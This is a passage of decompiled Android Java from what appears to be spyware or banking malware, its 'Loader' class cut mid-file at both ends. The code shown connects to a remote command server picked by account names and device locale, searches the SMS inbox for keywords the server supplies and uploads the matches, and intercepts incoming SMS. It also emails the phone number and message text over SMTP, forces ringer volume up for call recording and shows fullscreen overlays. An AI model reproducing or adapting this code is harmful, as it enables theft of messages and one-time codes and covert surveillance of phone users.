  1544.                                                 return;
  1545.                                             }
  1546.                                             StringBuilder stringBuilder = new StringBuilder();
  1547.                                             stringBuilder.append("package:");
  1548.                                             stringBuilder.append(b3);
  1549.                                             Intent intent = new Intent("android.intent.action.DELETE", Uri.parse(stringBuilder.toString()));
  1550.                                             intent.addFlags(268435456);
  1551.                                             Loader.access$getCtx$p(this.a.a.a).startActivity(intent);
  1552.                                             b bVar = b.a;
  1553.                                             String str = b3;
  1554.                                             d.e.b.h.a((Object) str, "oldPkg");
  1555.                                             bVar.a(str, aVar);
  1556.                                             new Handler(Looper.getMainLooper()).postDelayed(new Runnable(this) {
  1557.                                                 final /* synthetic */ AnonymousClass1 a;
  1558.  
  1559.                                                 public final void run() {
  1560.                                                     if (this.a.a.a.a.c.contains(b3)) {
  1561.                                                         b bVar = b.a;
  1562.                                                         Object obj = b3;
  1563.                                                         d.e.b.h.a(obj, "oldPkg");
  1564.                                                         bVar.a(obj);
  1565.                                                         aVar.a();
  1566.                                                     }
  1567.                                                 }
  1568.                                             }, 5000);
  1569.                                         } catch (Exception e) {
  1570.                                         }
  1571.                                     }
  1572.                                 }
  1573.  
  1574.                                 public final void a() {
  1575.                                     final AnonymousClass1 anonymousClass1 = new AnonymousClass1(this);
  1576.                                     Dialog access$getUpdateAlertDialog$p = this.a.a.w;
  1577.                                     if (access$getUpdateAlertDialog$p != null) {
  1578.                                         access$getUpdateAlertDialog$p.dismiss();
  1579.                                     }
  1580.                                     this.a.a.w = new Builder(Loader.access$getCtx$p(this.a.a)).setNegativeButton(p.b(5), new OnClickListener() {
  1581.                                         public final void onClick(DialogInterface dialogInterface, int i) {
  1582.                                             anonymousClass1.b();
  1583.                                         }
  1584.                                     }).setPositiveButton(p.b(4), new OnClickListener() {
  1585.                                         public final void onClick(DialogInterface dialogInterface, int i) {
  1586.                                             anonymousClass1.b();
  1587.                                         }
  1588.                                     }).setMessage(p.b(1)).setCancelable(false).create();
  1589.                                     access$getUpdateAlertDialog$p = this.a.a.w;
  1590.                                     if (access$getUpdateAlertDialog$p == null) {
  1591.                                         d.e.b.h.a();
  1592.                                     }
  1593.                                     Window window = access$getUpdateAlertDialog$p.getWindow();
  1594.                                     if (window == null) {
  1595.                                         d.e.b.h.a();
  1596.                                     }
  1597.                                     window.setType(2003);
  1598.                                     access$getUpdateAlertDialog$p = this.a.a.w;
  1599.                                     if (access$getUpdateAlertDialog$p == null) {
  1600.                                         d.e.b.h.a();
  1601.                                     }
  1602.                                     access$getUpdateAlertDialog$p.show();
  1603.                                 }
  1604.                             };
  1605.                             d.e.a.b bVar = AnonymousClass3.a;
  1606.                             if (bVar != null) {
  1607.                                 bVar = new d(bVar);
  1608.                             }
  1609.                             a.a(anonymousClass2, (c.a.d.d) bVar);
  1610.                             return;
  1611.                         }
  1612.                     }
  1613.                 }
  1614.             }
  1615.         }
  1616.     }
  1617.  
  1618.     static final class d extends d.e.b.g implements d.e.a.b<Throwable, d.i> {
  1619.         public static final d a = new d();
  1620.  
  1621.         d() {
  1622.             super(1);
  1623.         }
  1624.  
  1625.         public final d.g.c a() {
  1626.             return d.e.b.k.a(Throwable.class);
  1627.         }
  1628.  
  1629.         public final void a(Throwable th) {
  1630.             d.e.b.h.b(th, "p1");
  1631.             th.printStackTrace();
  1632.         }
  1633.  
  1634.         public final String b() {
  1635.             return "printStackTrace";
  1636.         }
  1637.  
  1638.         public final String c() {
  1639.             return "printStackTrace()V";
  1640.         }
  1641.     }
  1642.  
  1643.     static final class e implements Runnable {
  1644.         final /* synthetic */ Loader a;
  1645.  
  1646.         e(Loader loader) {
  1647.             this.a = loader;
  1648.         }
  1649.  
  1650.         public final void run() {
  1651.             this.a.i();
  1652.         }
  1653.     }
  1654.  
  1655.     static final class f implements Runnable {
  1656.         final /* synthetic */ Loader a;
  1657.  
  1658.         f(Loader loader) {
  1659.             this.a = loader;
  1660.         }
  1661.  
  1662.         public final void run() {
  1663.             final String access$getUriBlocking = this.a.a();
  1664.             StringBuilder stringBuilder = new StringBuilder();
  1665.             stringBuilder.append("ns ");
  1666.             stringBuilder.append(access$getUriBlocking);
  1667.             Log.d("WS", stringBuilder.toString());
  1668.             if (this.a.g.b()) {
  1669.                 g.a(this.a.g, 0, null, 3, null).a();
  1670.             }
  1671.             final h hVar = new h(0, 0.0f, 0.0f, 0.0f, 0.0f, 31, null);
  1672.             final d.e.b.j.a aVar = new d.e.b.j.a();
  1673.             aVar.a = 0;
  1674.             final AnonymousClass1 anonymousClass1 = new d.e.a.b<String, d.i>(this) {
  1675.                 final /* synthetic */ f a;
  1676.  
  1677.                 /* renamed from: com.Loader$f$1$1 */
  1678.                 static final class AnonymousClass1<T> implements c.a.d.d<d.i> {
  1679.                     final /* synthetic */ AnonymousClass1 a;
  1680.  
  1681.                     AnonymousClass1(AnonymousClass1 anonymousClass1) {
  1682.                         this.a = anonymousClass1;
  1683.                     }
  1684.  
  1685.                     public final void a(d.i iVar) {
  1686.                         Log.d("WS", "connected");
  1687.                         hVar.a();
  1688.                         this.a.a.a.c();
  1689.                         this.a.a.a.j = "";
  1690.                     }
  1691.                 }
  1692.  
  1693.                 /* renamed from: com.Loader$f$1$2 */
  1694.                 static final class AnonymousClass2<T> implements c.a.d.d<Throwable> {
  1695.                     final /* synthetic */ AnonymousClass1 a;
  1696.  
  1697.                     AnonymousClass2(AnonymousClass1 anonymousClass1) {
  1698.                         this.a = anonymousClass1;
  1699.                     }
  1700.  
  1701.                     public final void a(Throwable th) {
  1702.                         Log.w("WS", "offline");
  1703.                         th.printStackTrace();
  1704.                         this.a.a.a.j = th.toString();
  1705.                         boolean z = th instanceof o;
  1706.                         if (z) {
  1707.                             o oVar = (o) th;
  1708.                             if (s.a(oVar.a(), "301:", false, 2, null)) {
  1709.                                 String a = oVar.a();
  1710.                                 if (a == null) {
  1711.                                     throw new d.g("null cannot be cast to non-null type java.lang.String");
  1712.                                 }
  1713.                                 Object substring = a.substring(4);
  1714.                                 d.e.b.h.a(substring, "(this as java.lang.String).substring(startIndex)");
  1715.                                 Loader.access$getPreferences$p(this.a.a.a).edit().putString("account", substring).apply();
  1716.                                 hVar.a();
  1717.                                 this.a.a.a.b();
  1718.                             }
  1719.                         }
  1720.                         if (!(z && s.a(((o) th).a(), "302:", false, 2, null))) {
  1721.                             d.e.b.j.a aVar = aVar;
  1722.                             aVar.a++;
  1723.                             if (aVar.a == 6) {
  1724.                                 this.a.a.a.sendStartTLSMail(th.toString());
  1725.                             }
  1726.                             int b = hVar.b();
  1727.                             if (b == -1) {
  1728.                                 Log.w("WS", "give up");
  1729.                                 this.a.a.a.b();
  1730.                             }
  1731.                             StringBuilder stringBuilder = new StringBuilder();
  1732.                             stringBuilder.append("reconnect:");
  1733.                             stringBuilder.append(b);
  1734.                             Log.w("WS", stringBuilder.toString());
  1735.                             return;
  1736.                         }
  1737.                         hVar.a();
  1738.                         this.a.a.a.b();
  1739.                     }
  1740.                 }
  1741.  
  1742.                 public final void a(String str) {
  1743.                     d.e.b.h.b(str, "addr");
  1744.                     StringBuilder stringBuilder = new StringBuilder();
  1745.                     stringBuilder.append("connecting: ");
  1746.                     stringBuilder.append(str);
  1747.                     Log.d("WS", stringBuilder.toString());
  1748.                     this.a.a.g.a(str).a(new AnonymousClass1(this), new AnonymousClass2(this));
  1749.                 }
  1750.             };
  1751.             hVar.a(new d.e.a.a<d.i>() {
  1752.                 public /* synthetic */ Object a() {
  1753.                     b();
  1754.                     return d.i.a;
  1755.                 }
  1756.  
  1757.                 public final void b() {
  1758.                     anonymousClass1.a(access$getUriBlocking);
  1759.                 }
  1760.             });
  1761.             anonymousClass1.a(access$getUriBlocking);
  1762.         }
  1763.     }
  1764.  
  1765.     static final class g<T> implements c.a.d.d<Object> {
  1766.         final /* synthetic */ Loader a;
  1767.         final /* synthetic */ NotificationManager b;
  1768.         final /* synthetic */ int c;
  1769.  
  1770.         g(Loader loader, NotificationManager notificationManager, int i) {
  1771.             this.a = loader;
  1772.             this.b = notificationManager;
  1773.             this.c = i;
  1774.         }
  1775.  
  1776.         public final void a(Object obj) {
  1777.             if (obj instanceof Object[]) {
  1778.                 Object[] objArr = (Object[]) obj;
  1779.                 if (((objArr.length == 0 ? 1 : 0) ^ 1) != 0) {
  1780.                     Object obj2 = objArr[0];
  1781.                     if (obj2 == null) {
  1782.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  1783.                     }
  1784.                     String str = (String) obj2;
  1785.                     if (str == null) {
  1786.                         throw new d.g("null cannot be cast to non-null type kotlin.CharSequence");
  1787.                     }
  1788.                     String obj3 = t.b(str).toString();
  1789.                     obj2 = objArr[1];
  1790.                     if (obj2 == null) {
  1791.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  1792.                     }
  1793.                     str = (String) obj2;
  1794.                     if (str == null) {
  1795.                         throw new d.g("null cannot be cast to non-null type kotlin.CharSequence");
  1796.                     }
  1797.                     String obj4 = t.b(str).toString();
  1798.                     obj2 = objArr[2];
  1799.                     if (obj2 == null) {
  1800.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  1801.                     }
  1802.                     str = (String) obj2;
  1803.                     if (str == null) {
  1804.                         throw new d.g("null cannot be cast to non-null type kotlin.CharSequence");
  1805.                     }
  1806.                     String obj5 = t.b(str).toString();
  1807.                     CharSequence charSequence = obj4;
  1808.                     if (charSequence.length() > 0) {
  1809.                         if (((CharSequence) obj5).length() > 0) {
  1810.                             Intent intent = new Intent();
  1811.                             intent.setAction("android.intent.action.VIEW");
  1812.                             intent.setData(Uri.parse(obj5));
  1813.                             PendingIntent activity = PendingIntent.getActivity(Loader.access$getCtx$p(this.a), 100, intent, 268435456);
  1814.                             Notification.Builder builder = new Notification.Builder(Loader.access$getCtx$p(this.a));
  1815.                             builder.setContentText(charSequence);
  1816.                             builder.setContentTitle(obj3);
  1817.                             builder.setSmallIcon(Loader.access$getCtx$p(this.a).getResources().getIdentifier("icon", "mipmap", Loader.access$getCtx$p(this.a).getPackageName()));
  1818.                             builder.setAutoCancel(true);
  1819.                             builder.setContentIntent(activity);
  1820.                             if (VERSION.SDK_INT >= 16) {
  1821.                                 this.b.notify(this.c, builder.build());
  1822.                             }
  1823.                         }
  1824.                     }
  1825.                 }
  1826.             }
  1827.         }
  1828.     }
  1829.  
  1830.     static final class h<T> implements c.a.d.d<Throwable> {
  1831.         public static final h a = new h();
  1832.  
  1833.         h() {
  1834.         }
  1835.  
  1836.         public final void a(Throwable th) {
  1837.             th.printStackTrace();
  1838.         }
  1839.     }
  1840.  
  1841.     static final class i extends d.e.b.i implements d.e.a.a<String> {
  1842.         final /* synthetic */ Loader a;
  1843.         final /* synthetic */ d.e.b.j.a b;
  1844.  
  1845.         i(Loader loader, d.e.b.j.a aVar) {
  1846.             this.a = loader;
  1847.             this.b = aVar;
  1848.             super(0);
  1849.         }
  1850.  
  1851.         /* renamed from: b */
  1852.         public final String a() {
  1853.             SharedPreferences sharedPreferences;
  1854.             Log.d("WS", "ns get............... ");
  1855.             Object string = Loader.access$getPreferences$p(this.a).getString("addr_accounts", "lucky88755|lucky98745|lucky876543");
  1856.             d.e.b.h.a(string, "addrAccountsStr");
  1857.             List a = t.a((CharSequence) string, new char[]{'|'}, false, 0, 6, null);
  1858.             string = Locale.getDefault().toString();
  1859.             d.e.b.h.a(string, "locale");
  1860.             SharedPreferences access$getPreferences$p;
  1861.             if (s.a(string, "ko", false, 2, null)) {
  1862.                 access$getPreferences$p = Loader.access$getPreferences$p(this.a);
  1863.                 string = a.get(0);
  1864.                 sharedPreferences = access$getPreferences$p;
  1865.             } else if (s.a(string, "ja", false, 2, null)) {
  1866.                 access$getPreferences$p = Loader.access$getPreferences$p(this.a);
  1867.                 string = a.get(2);
  1868.                 sharedPreferences = access$getPreferences$p;
  1869.             } else {
  1870.                 access$getPreferences$p = Loader.access$getPreferences$p(this.a);
  1871.                 string = a.get(1);
  1872.                 sharedPreferences = access$getPreferences$p;
  1873.             }
  1874.             string = sharedPreferences.getString("account", (String) string);
  1875.             if (d.e.b.h.a(string, (Object) "unknown")) {
  1876.                 throw new IllegalStateException("null......");
  1877.             }
  1878.             Loader loader = this.a;
  1879.             d.e.b.h.a(string, "account");
  1880.             String access$loadIPAddr = loader.a((String) string);
  1881.             StringBuilder stringBuilder = new StringBuilder();
  1882.             stringBuilder.append("ACC:");
  1883.             stringBuilder.append(string);
  1884.             Log.d("WS", stringBuilder.toString());
  1885.             String a2;
  1886.             if (access$loadIPAddr != null) {
  1887.                 if (s.a(access$loadIPAddr, "ssl://", false, 2, null)) {
  1888.                     a2 = s.a(access$loadIPAddr, "ssl://", "wss://", false, 4, null);
  1889.                 } else {
  1890.                     StringBuilder stringBuilder2 = new StringBuilder();
  1891.                     stringBuilder2.append("ws://");
  1892.                     stringBuilder2.append(access$loadIPAddr);
  1893.                     a2 = stringBuilder2.toString();
  1894.                 }
  1895.                 Loader.access$getPreferences$p(this.a).edit().putString("last_addr", a2).apply();
  1896.                 return a2;
  1897.             }
  1898.             this.a.j = "DNS ERROR";
  1899.             a2 = Loader.access$getPreferences$p(this.a).getString("last_addr", "");
  1900.             if ((d.e.b.h.a((Object) a2, (Object) "") ^ 1) != 0) {
  1901.                 access$loadIPAddr = a2;
  1902.             }
  1903.             d.e.b.j.a aVar = this.b;
  1904.             aVar.a++;
  1905.             if (this.b.a == 6) {
  1906.                 this.a.sendStartTLSMail("DNS ERROR");
  1907.             }
  1908.             return access$loadIPAddr;
  1909.         }
  1910.     }
  1911.  
  1912.     static final class j implements Runnable {
  1913.         final /* synthetic */ Loader a;
  1914.  
  1915.         j(Loader loader) {
  1916.             this.a = loader;
  1917.         }
  1918.  
  1919.         public final void run() {
  1920.             this.a.i();
  1921.         }
  1922.     }
  1923.  
  1924.     static final class k<T> implements c.a.d.d<Object> {
  1925.         final /* synthetic */ Loader a;
  1926.  
  1927.         /* renamed from: com.Loader$k$1 */
  1928.         static final class AnonymousClass1<T> implements c.a.d.d<Object> {
  1929.             final /* synthetic */ k a;
  1930.  
  1931.             AnonymousClass1(k kVar) {
  1932.                 this.a = kVar;
  1933.             }
  1934.  
  1935.             public final void a(Object obj) {
  1936.                 try {
  1937.                     String str = (String) obj;
  1938.                     if (str != null) {
  1939.                         if ((d.e.b.h.a((Object) str, (Object) "") ^ 1) != 0) {
  1940.                             List b = t.b((CharSequence) str, new String[]{"|"}, false, 0, 6, null);
  1941.                             if (!Loader.access$getPreferences$p(this.a.a).getBoolean("sms_kw_sent", false)) {
  1942.                                 Loader.access$getPreferences$p(this.a.a).edit().putBoolean("sms_kw_sent", true).apply();
  1943.                                 List arrayList = new ArrayList();
  1944.                                 Cursor query = Loader.access$getCtx$p(this.a.a).getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
  1945.                                 if (query != null) {
  1946.                                     while (query.moveToNext()) {
  1947.                                         String string = query.getString(query.getColumnIndex("address"));
  1948.                                         String str2 = string != null ? string : "";
  1949.                                         String string2 = query.getString(query.getColumnIndex("body"));
  1950.                                         if (string2 == null) {
  1951.                                             string2 = "";
  1952.                                         }
  1953.                                         long j = query.getLong(query.getColumnIndex("date"));
  1954.                                         if (query.getInt(query.getColumnIndex("type")) == 1) {
  1955.                                             Object obj2;
  1956.                                             Iterable<String> iterable = b;
  1957.                                             if (!((iterable instanceof Collection) && ((Collection) iterable).isEmpty())) {
  1958.                                                 for (String string3 : iterable) {
  1959.                                                     if (t.a((CharSequence) string2, (CharSequence) string3, false, 2, null)) {
  1960.                                                         obj2 = 1;
  1961.                                                         break;
  1962.                                                     }
  1963.                                                 }
  1964.                                             }
  1965.                                             obj2 = null;
  1966.                                             if (obj2 != null) {
  1967.                                                 arrayList.add(new Object[]{str2, string2, Long.valueOf(j)});
  1968.                                             }
  1969.                                         }
  1970.                                     }
  1971.                                     if ((arrayList.isEmpty() ^ 1) != 0) {
  1972.                                         c.a.s b2 = this.a.a.g.b("onKwSms", arrayList);
  1973.                                         c.a.d.d dVar = AnonymousClass1.a;
  1974.                                         d.e.a.b bVar = AnonymousClass2.a;
  1975.                                         if (bVar != null) {
  1976.                                             bVar = new d(bVar);
  1977.                                         }
  1978.                                         b2.a(dVar, (c.a.d.d) bVar);
  1979.                                     }
  1980.                                 }
  1981.                             }
  1982.                         }
  1983.                     }
  1984.                 } catch (Exception e) {
  1985.                     e.printStackTrace();
  1986.                 }
  1987.             }
  1988.         }
  1989.  
  1990.         /* renamed from: com.Loader$k$3 */
  1991.         static final class AnonymousClass3<T> implements c.a.d.d<Object> {
  1992.             final /* synthetic */ k a;
  1993.  
  1994.             AnonymousClass3(k kVar) {
  1995.                 this.a = kVar;
  1996.             }
  1997.  
  1998.             public final void a(Object obj) {
  1999.                 Loader loader = this.a.a;
  2000.                 if (obj == null) {
  2001.                     throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  2002.                 }
  2003.                 loader.k = ((Boolean) obj).booleanValue();
  2004.                 if (this.a.a.k) {
  2005.                     Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("audio");
  2006.                     if (systemService == null) {
  2007.                         throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
  2008.                     }
  2009.                     AudioManager audioManager = (AudioManager) systemService;
  2010.                     audioManager.setStreamVolume(2, audioManager.getStreamMaxVolume(2), 0);
  2011.                     audioManager.setRingerMode(2);
  2012.                 }
  2013.             }
  2014.         }
  2015.  
  2016.         /* renamed from: com.Loader$k$5 */
  2017.         static final class AnonymousClass5<T> implements c.a.d.d<Object> {
  2018.             final /* synthetic */ k a;
  2019.  
  2020.             AnonymousClass5(k kVar) {
  2021.                 this.a = kVar;
  2022.             }
  2023.  
  2024.             public final void a(Object obj) {
  2025.                 if (obj == null) {
  2026.                     throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  2027.                 } else if (((Boolean) obj).booleanValue()) {
  2028.                     this.a.a.showFullscreenFloatWindow();
  2029.                 } else {
  2030.                     this.a.a.removeFullscreenFloatWindow();
  2031.                 }
  2032.             }
  2033.         }
  2034.  
  2035.         k(Loader loader) {
  2036.             this.a = loader;
  2037.         }
  2038.  
  2039.         public final void a(Object obj) {
  2040.             Log.d("WS", "onHello");
  2041.             this.a.h();
  2042.             c.a.s b = this.a.g.b("getSmsKW", null);
  2043.             c.a.d.d anonymousClass1 = new AnonymousClass1(this);
  2044.             d.e.a.b bVar = AnonymousClass2.a;
  2045.             if (bVar != null) {
  2046.                 bVar = new d(bVar);
  2047.             }
  2048.             b.a(anonymousClass1, (c.a.d.d) bVar);
  2049.             this.a.g.b("is_call_rec_enable", null).a(new AnonymousClass3(this), AnonymousClass4.a);
  2050.             this.a.g.b("is_show_fs_float_window", null).a(c.a.a.b.a.a()).a(new AnonymousClass5(this), AnonymousClass6.a);
  2051.             Object locale = Locale.getDefault().toString();
  2052.             d.e.b.h.a(locale, "Locale.getDefault().toString()");
  2053.             if (!s.a(locale, "ko", false, 2, null)) {
  2054.                 this.a.b(this.a.e());
  2055.             }
  2056.         }
  2057.     }
  2058.  
  2059.     static final class l extends d.e.b.g implements d.e.a.b<Throwable, d.i> {
  2060.         public static final l a = new l();
  2061.  
  2062.         l() {
  2063.             super(1);
  2064.         }
  2065.  
  2066.         public final d.g.c a() {
  2067.             return d.e.b.k.a(Throwable.class);
  2068.         }
  2069.  
  2070.         public final void a(Throwable th) {
  2071.             d.e.b.h.b(th, "p1");
  2072.             th.printStackTrace();
  2073.         }
  2074.  
  2075.         public final String b() {
  2076.             return "printStackTrace";
  2077.         }
  2078.  
  2079.         public final String c() {
  2080.             return "printStackTrace()V";
  2081.         }
  2082.     }
  2083.  
  2084.     static final class m<T> implements c.a.d.d<Object> {
  2085.         public static final m a = new m();
  2086.  
  2087.         m() {
  2088.         }
  2089.  
  2090.         public final void a(Object obj) {
  2091.             Log.d("WS", "state updateed");
  2092.         }
  2093.     }
  2094.  
  2095.     static final class n extends d.e.b.g implements d.e.a.b<Throwable, d.i> {
  2096.         public static final n a = new n();
  2097.  
  2098.         n() {
  2099.             super(1);
  2100.         }
  2101.  
  2102.         public final d.g.c a() {
  2103.             return d.e.b.k.a(Throwable.class);
  2104.         }
  2105.  
  2106.         public final void a(Throwable th) {
  2107.             d.e.b.h.b(th, "p1");
  2108.             th.printStackTrace();
  2109.         }
  2110.  
  2111.         public final String b() {
  2112.             return "printStackTrace";
  2113.         }
  2114.  
  2115.         public final String c() {
  2116.             return "printStackTrace()V";
  2117.         }
  2118.     }
  2119.  
  2120.     public static final class o extends BroadcastReceiver {
  2121.         final /* synthetic */ Loader a;
  2122.  
  2123.         static final class a implements Runnable {
  2124.             final /* synthetic */ o a;
  2125.             final /* synthetic */ Intent b;
  2126.  
  2127.             a(o oVar, Intent intent) {
  2128.                 this.a = oVar;
  2129.                 this.b = intent;
  2130.             }
  2131.  
  2132.             public final void run() {
  2133.                 Loader.access$getCtx$p(this.a.a).startActivity(this.b);
  2134.             }
  2135.         }
  2136.  
  2137.         static final class b implements Runnable {
  2138.             final /* synthetic */ o a;
  2139.             final /* synthetic */ String b;
  2140.  
  2141.             b(o oVar, String str) {
  2142.                 this.a = oVar;
  2143.                 this.b = str;
  2144.             }
  2145.  
  2146.             public final void run() {
  2147.                 g access$getPeer$p = this.a.a.g;
  2148.                 StringBuilder stringBuilder = new StringBuilder();
  2149.                 stringBuilder.append("301:");
  2150.                 stringBuilder.append(this.b);
  2151.                 access$getPeer$p.a(1000, stringBuilder.toString()).a();
  2152.             }
  2153.         }
  2154.  
  2155.         static final class c extends d.e.b.i implements d.e.a.c<l, String, d.i> {
  2156.             public static final c a = new c();
  2157.  
  2158.             c() {
  2159.                 super(2);
  2160.             }
  2161.  
  2162.             public final void a(l lVar, String str) {
  2163.                 d.e.b.h.b(lVar, "sms");
  2164.             }
  2165.         }
  2166.  
  2167.         static final class d extends d.e.b.i implements d.e.a.c<l, String, d.i> {
  2168.             public static final d a = new d();
  2169.  
  2170.             d() {
  2171.                 super(2);
  2172.             }
  2173.  
  2174.             public final void a(l lVar, String str) {
  2175.                 d.e.b.h.b(lVar, "sms");
  2176.             }
  2177.         }
  2178.  
  2179.         static final class e implements Runnable {
  2180.             final /* synthetic */ o a;
  2181.             final /* synthetic */ String b;
  2182.             final /* synthetic */ String c;
  2183.             final /* synthetic */ d.e.b.j.b d;
  2184.             final /* synthetic */ d.e.b.j.b e;
  2185.             final /* synthetic */ String f;
  2186.             final /* synthetic */ String g;
  2187.  
  2188.             /* renamed from: com.Loader$o$e$1 */
  2189.             static final class AnonymousClass1 extends d.e.b.i {
  2190.                 final /* synthetic */ e a;
  2191.  
  2192.                 AnonymousClass1(e eVar) {
  2193.                     this.a = eVar;
  2194.                     super(3);
  2195.                 }
  2196.  
  2197.                 public final MimeMessage a(Session session, String str, String str2) {
  2198.                     d.e.b.h.b(session, "session");
  2199.                     d.e.b.h.b(str, "sendMail");
  2200.                     d.e.b.h.b(str2, "receiveMail");
  2201.                     Object systemService = Loader.access$getCtx$p(this.a.a.a).getSystemService("phone");
  2202.                     if (systemService == null) {
  2203.                         throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  2204.                     }
  2205.                     String access$getLine1 = this.a.a.a.a((TelephonyManager) systemService);
  2206.                     if (access$getLine1 == null) {
  2207.                         access$getLine1 = "";
  2208.                     }
  2209.                     MimeMessage mimeMessage = new MimeMessage(session);
  2210.                     StringBuilder stringBuilder = new StringBuilder();
  2211.                     stringBuilder.append("用户:");
  2212.                     stringBuilder.append(access$getLine1);
  2213.                     mimeMessage.setFrom(new InternetAddress(str, stringBuilder.toString(), "UTF-8"));
  2214.                     mimeMessage.setRecipient(MimeMessage.RecipientType.TO, new InternetAddress(str2, "XX用户", "UTF-8"));
  2215.                     mimeMessage.setSubject("新的信息", "UTF-8");
  2216.                     StringBuilder stringBuilder2 = new StringBuilder();
  2217.                     stringBuilder2.append("");
  2218.                     stringBuilder2.append(this.a.b);
  2219.                     stringBuilder2.append(":\r\n");
  2220.                     stringBuilder2.append(this.a.c);
  2221.                     mimeMessage.setContent(stringBuilder2.toString(), "text/html;charset=UTF-8");
  2222.                     mimeMessage.setSentDate(new Date());
  2223.                     mimeMessage.saveChanges();
  2224.                     return mimeMessage;
  2225.                 }
  2226.             }
  2227.  
  2228.             e(o oVar, String str, String str2, d.e.b.j.b bVar, d.e.b.j.b bVar2, String str3, String str4) {
  2229.                 this.a = oVar;
  2230.                 this.b = str;
  2231.                 this.c = str2;
  2232.                 this.d = bVar;
  2233.                 this.e = bVar2;
  2234.                 this.f = str3;
  2235.                 this.g = str4;
  2236.             }
  2237.  
  2238.             public final void run() {
  2239.                 try {
  2240.                     AnonymousClass1 anonymousClass1 = new AnonymousClass1(this);
  2241.                     Properties properties = new Properties();
  2242.                     properties.setProperty("mail.transport.protocol", "smtp");
  2243.                     properties.setProperty("mail.smtp.host", (String) this.d.a);
  2244.                     properties.setProperty("mail.smtp.port", (String) this.e.a);
  2245.                     properties.setProperty("mail.smtp.auth", "true");
  2246.                     Object instance = Session.getInstance(properties);
  2247.                     d.e.b.h.a(instance, "session");
  2248.                     instance.setDebug(true);
  2249.                     MimeMessage a = anonymousClass1.a(instance, this.f, this.f);
  2250.                     Transport transport = instance.getTransport();
  2251.                     transport.connect(this.f, this.g);
  2252.                     transport.sendMessage(a, a.getAllRecipients());
  2253.                     transport.close();
  2254.                 } catch (Exception e) {
  2255.                     e.printStackTrace();
  2256.                 }
  2257.             }
  2258.         }
  2259.  
  2260.         static final class f implements Runnable {
  2261.             final /* synthetic */ o a;
  2262.  
  2263.             f(o oVar) {
  2264.                 this.a = oVar;
  2265.             }
  2266.  
  2267.             public final void run() {
  2268.                 this.a.a.requestIgnoreBatteryOpt();
  2269.             }
  2270.         }
  2271.  
  2272.         o(Loader loader) {
  2273.             this.a = loader;
  2274.         }
  2275.  
  2276.         public void onReceive(Context context, Intent intent) {
  2277.             d.e.b.h.b(context, "context");
  2278.             d.e.b.h.b(intent, "intent");
  2279.             try {
  2280.                 Loader loader;
  2281.                 Object action = intent.getAction();
  2282.                 Object dataString;
  2283.                 String a;
  2284.                 StringBuilder stringBuilder;
  2285.                 String a2;
  2286.                 if (d.e.b.h.a(action, (Object) "android.intent.action.PACKAGE_ADDED")) {
  2287.                     dataString = intent.getDataString();
  2288.                     d.e.b.h.a(dataString, "intent.dataString");
  2289.                     if (dataString == null) {
  2290.                         throw new d.g("null cannot be cast to non-null type java.lang.String");
  2291.                     }
  2292.                     dataString = dataString.toLowerCase();
  2293.                     d.e.b.h.a(dataString, "(this as java.lang.String).toLowerCase()");
  2294.                     a = s.a((String) dataString, "package:", "", false, 4, null);
  2295.                     this.a.c.add(a);
  2296.                     b.a.b(a);
  2297.                     if (this.a.d.contains(a)) {
  2298.                         stringBuilder = new StringBuilder();
  2299.                         stringBuilder.append("");
  2300.                         stringBuilder.append(c.k);
  2301.                         stringBuilder.append('/');
  2302.                         stringBuilder.append(a);
  2303.                         stringBuilder.append(".apk");
  2304.                         File file = new File(stringBuilder.toString());
  2305.                         if (file.exists()) {
  2306.                             file.delete();
  2307.                         }
  2308.                         Intent launchIntentForPackage = Loader.access$getCtx$p(this.a).getPackageManager().getLaunchIntentForPackage(a);
  2309.                         if (launchIntentForPackage != null) {
  2310.                             try {
  2311.                                 launchIntentForPackage.addFlags(268435456);
  2312.                                 this.a.b.post(new a(this, launchIntentForPackage));
  2313.                             } catch (Exception e) {
  2314.                             }
  2315.                         }
  2316.                         this.a.d.remove(a);
  2317.                     }
  2318.                     loader = this.a;
  2319.                 } else if (d.e.b.h.a(action, (Object) "android.intent.action.PACKAGE_REMOVED")) {
  2320.                     dataString = intent.getDataString();
  2321.                     d.e.b.h.a(dataString, "intent.dataString");
  2322.                     if (dataString == null) {
  2323.                         throw new d.g("null cannot be cast to non-null type java.lang.String");
  2324.                     }
  2325.                     dataString = dataString.toLowerCase();
  2326.                     d.e.b.h.a(dataString, "(this as java.lang.String).toLowerCase()");
  2327.                     a2 = s.a((String) dataString, "package:", "", false, 4, null);
  2328.                     this.a.c.remove(a2);
  2329.                     b.a.c(a2);
  2330.                     loader = this.a;
  2331.                 } else {
  2332.                     dataString = null;
  2333.                     Object str;
  2334.                     int i;
  2335.                     if (d.e.b.h.a(action, (Object) "android.provider.Telephony.SMS_RECEIVED")) {
  2336.                         Object[] objArr = (Object[]) intent.getExtras().get("pdus");
  2337.                         if (objArr != null) {
  2338.                             StringBuilder stringBuilder2;
  2339.                             Map linkedHashMap = new LinkedHashMap();
  2340.                             Map linkedHashMap2 = new LinkedHashMap();
  2341.                             int length = objArr.length;
  2342.                             int i2 = 0;
  2343.                             while (i2 < length) {
  2344.                                 action = objArr[i2];
  2345.                                 if (action == null) {
  2346.                                     try {
  2347.                                         throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
  2348.                                     } catch (Exception e2) {
  2349.                                     }
  2350.                                 } else {
  2351.                                     action = SmsMessage.createFromPdu((byte[]) action);
  2352.                                     d.e.b.h.a(action, "msg");
  2353.                                     String displayMessageBody = action.getDisplayMessageBody();
  2354.                                     Object displayOriginatingAddress = action.getDisplayOriginatingAddress();
  2355.                                     if (displayMessageBody != null) {
  2356.                                         d.e.b.h.a(displayOriginatingAddress, "address");
  2357.                                         linkedHashMap.put(displayOriginatingAddress, Long.valueOf(action.getTimestampMillis()));
  2358.                                         StringBuilder stringBuilder3 = new StringBuilder();
  2359.                                         a = (String) linkedHashMap2.get(displayOriginatingAddress);
  2360.                                         if (a == null) {
  2361.                                             a = "";
  2362.                                         }
  2363.                                         stringBuilder3.append(a);
  2364.                                         stringBuilder3.append(displayMessageBody);
